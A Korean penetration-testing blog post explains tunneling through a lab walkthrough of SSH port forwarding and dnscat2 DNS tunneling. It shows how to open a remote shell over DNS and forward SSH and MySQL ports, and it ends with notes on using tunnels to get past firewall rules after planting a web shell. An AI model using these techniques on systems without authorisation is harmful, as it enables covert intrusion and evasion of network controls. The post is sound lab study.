본문 바로가기

ETC/PT

20180807~10_터널링_카테고리2

터널링이란. 


* 해당 기술은 출발지목적지만 사용하고 그 중간단계에서는 사용하지 않는 프로토콜을 전송하여 서로간의 통신이 가능하게끔 만들어 줌.

* 터널링의 핵심은 캡슐화이다.

   - (A) HOST 와 (B) HOST 간 통신이 어떤 프로토콜을 사용하던 간에 일단 터널이 구성되면 그 안에 원래 데이터는 캡슐화 되어 본 데이터가 무엇인가는 중요하지 않음.




SSH 터널링의 예시 (PUTTY 기준)


* 출발지가 127.0.0.1 IP에 3388 PORT를 사용하며 목적지는 192.168.0.31:3389인 터널을 설정한다. 

* 세션탭에서 192.168.0.31 IP로 SSH 로그인하여 연결(터널)을 수립한다.

* 로컬 PC에서 원격데스크탑 서비스를 키고 연결 주소에 127.0.0.1:3388 을 입력한다.

* 위에서 입력한 127.0.0.1:3388 의 주소로는 캡슐화 되어 미리 연결되어 있는 터널을 통해 원격 데스크탑 프로토콜이 전송되어 목적지까지 도달한다.

* 터널을 통하여 목적지까지 도달한 원격데스크탑 프로토콜은 정상실행되고 터널 내부에서 지속적으로 연결 수립되어 원격 데스크탑 사용이 가능하다.




DNS 터널링 (dnscat2 사용)


관련 주소 : https://github.com/iagox86/dnscat2


dnscat2 역시 http 터널링과 같이 서버와 클라이언트로 구성되어 있다.



실습에는 칼리리눅스 2대를 사용하고 git 명령어를 사용하여 다운로드 및 설치를 진행한다.




dnscat2 CLIENT 설치 


1. git clone https://github.com/iagox86/dnscat2.git 명령어를 사용하여 다운로드 



2. 다운로드 경로로 이동 후 client 설치


3. 클라이언트 정상 설치 확인 (현재는 설정이 끝나지 않았기에 WARNING 메시지가 뜨는게 정상이다.)


4. A pc에서 클라이언트 설치 후 B pc에서 서버 설치를 진행한다.





dnscat2 server 설치 (root 권한으로 설치진행해야 원활하게 진행 가능하다.)


1. client 와 동일하게 git clone을 사용하여 다운로드 한다.

2. dnscat2/server 디렉터리로 이동 후 아래와 같이 설치를 진행한다.


3. 설치 후 아래 명령어를 사용하여 dnscat2.rb 스크립트를 실행한다. 스크립트 실행 후 엔터를 누르면 "dnscat2>" 

   프롬프트 확인이 가능하다.







TCPDUMP 명령어 


tcpdump -vvv -s 0 -l -n port 53


클라이언트 접속 명령어

$ dnscat --dns=server=IPADDRESS,port=53


서버 명령어


세션확인 : sessions

세션사용 : session -i 번호





dnscat2 연결 진행


1. [서버] dnscat2 서버를 실행시킨다.

2. [서버] 서버 실행 후 53번 포트 서비스를 확인할 수 있다


3.[클라이언트] 서버쪽으로 dnscat을 사용하여 접근한다.  명령어는 다음과 같으며 연결 후 "Session established!" 메시지 확인이 가능하다


4.[서버] 연결 후 서버에서 tcpdump를 사용하여 관련 패킷을 확인할 수 있으며 dnscat2 서버 터미널에서 "New Window created" 를 확인할 수 있다.

   * tcmdump 명령어 : tcpdump -vvv -s 0 -l -n port 53

5. 서버에서 help 명령어로 사용가능 명령어를 확인할 수 있으며 sessions 명령어를 사용하여 현재 연결되어있는 세션을 볼 수 있다.

6. session -i 번호 명령어를 사용하여 해당 커맨드(세션)로 접근이 가능하다.

7, 터널생성전 shell 명령어를 사용하여 쉘 프롬프트에 접근을 시도해본다. shell 명령어를 입력하면 새로운 윈도우(세션)이 생성된다.

8. Ctrl + z 키를 입력하여 초반에 봤던 Main Window로 화면을 이동하고 session -i 2  명령어를 사용하여 (7)에서 생성한 세션으로 이동한다.

   세션 이동 후 아래와 같이 명령어를 입력해보면 정상적인 쉘프롬프트 사용이 가능한것을 확인할 수 있다.




(이어서_1) 특정 포트를 위한 터널 생성(SSH)


1. [서버] 목적지가 192.168.142.130:22(클라이언트) 인 터널을 생성한다.


2. [서버] SSH 연결을 미리 생성한 터널로 시도하면 정상적으로 로그인이 가능하다.

3. [서버] 연결이 된 경우 서버에선 다음과 같이 로그를 출력하며 WARNING의 경우는 SSH 서비스가 비활성화 되어있었을때 나온 경고 로그이다.









(이어서_2) 특정 포트를 위한 터널 생성(3306)


1. [클라이언트] mysql 서비스를 실행하고 서비스 포트 활성화를 확인한다.



2. [클라이언트] DB 접속을 확인한다. 



3. [서버] 서버에서  클라이언트 쪽으로 디비 연결을 시도하지만 현재 로컬 IP로만 접속이 가능한 상태이기에 접속이 불가능하다.



4. [클라이언트] 서버 활성화 후 클라이언트 연결을 한다



5. [서버]다시 서버측으로 돌아와 listen 명령어를 사용하여 터널을 활성화한다. tunnels 명령어를 사용하여 현재 리슨중인 포트를 확인할 수 있다.

   * listen [lhost:]lport rhost:rport


6. [서버] 생성된 터널로 연결을 시도하자 정상적으로 접근 및 로그인이 가능한것을 확인할 수 있다.





터널링 사용 시기 및 특징


[-] 개인적으로 생각하는 모의해킹시 터널링 사용시기 및 특징은 다음과 같다.


   [공통]

    [*] 방화벽 등 기타 솔루션 및 정책에 의해 아웃바운드, 인바운드 포트가 지정되어 있는 경우 

   

  [SSH TUNNEL]

    [*] 암호화 통신이 필요한 경우.

    [*] 조건만 맞는다면 가장 편하게 접근이 가능한듯.

   [HTTP TUNNEL]

    [*] 가장 열려있을 확률이 높은 포트, 단 불안정하다고 한다. 

    [*] 개인적인 판단으로는 어떻게 보면 서버 파일(웹쉘)만 올리면 완료이기에 터널 생성에 제일 편한듯하다.

   [DNS TUNNEL] - dnscat2 사용시 

    [*] 웹쉘을 올렸는데 특정 상황에 의해 대화형 쉘이 불가능하고 단방향 쉘만 가능한 경우

          -  dnscat 업로드 후 권한 부여 후 서버측으로 연결시도.

    [*] ssh가 사용불가능한데 암호화 통신이 필요한 경우.

          - dnscat은 암호화 통신을 사용한다고 설명되어있다. 단, 검증은 이루어지지 않았기에 전적인 신뢰는 금한다 나와있다.

   [ICMP TUNNEL]

    [*] root 권한이 필요하다고 한다.(안해봄..)

    










 







































'ETC > PT' 카테고리의 다른 글

20180805_터널링_카테고리_1  (0) 2018.08.05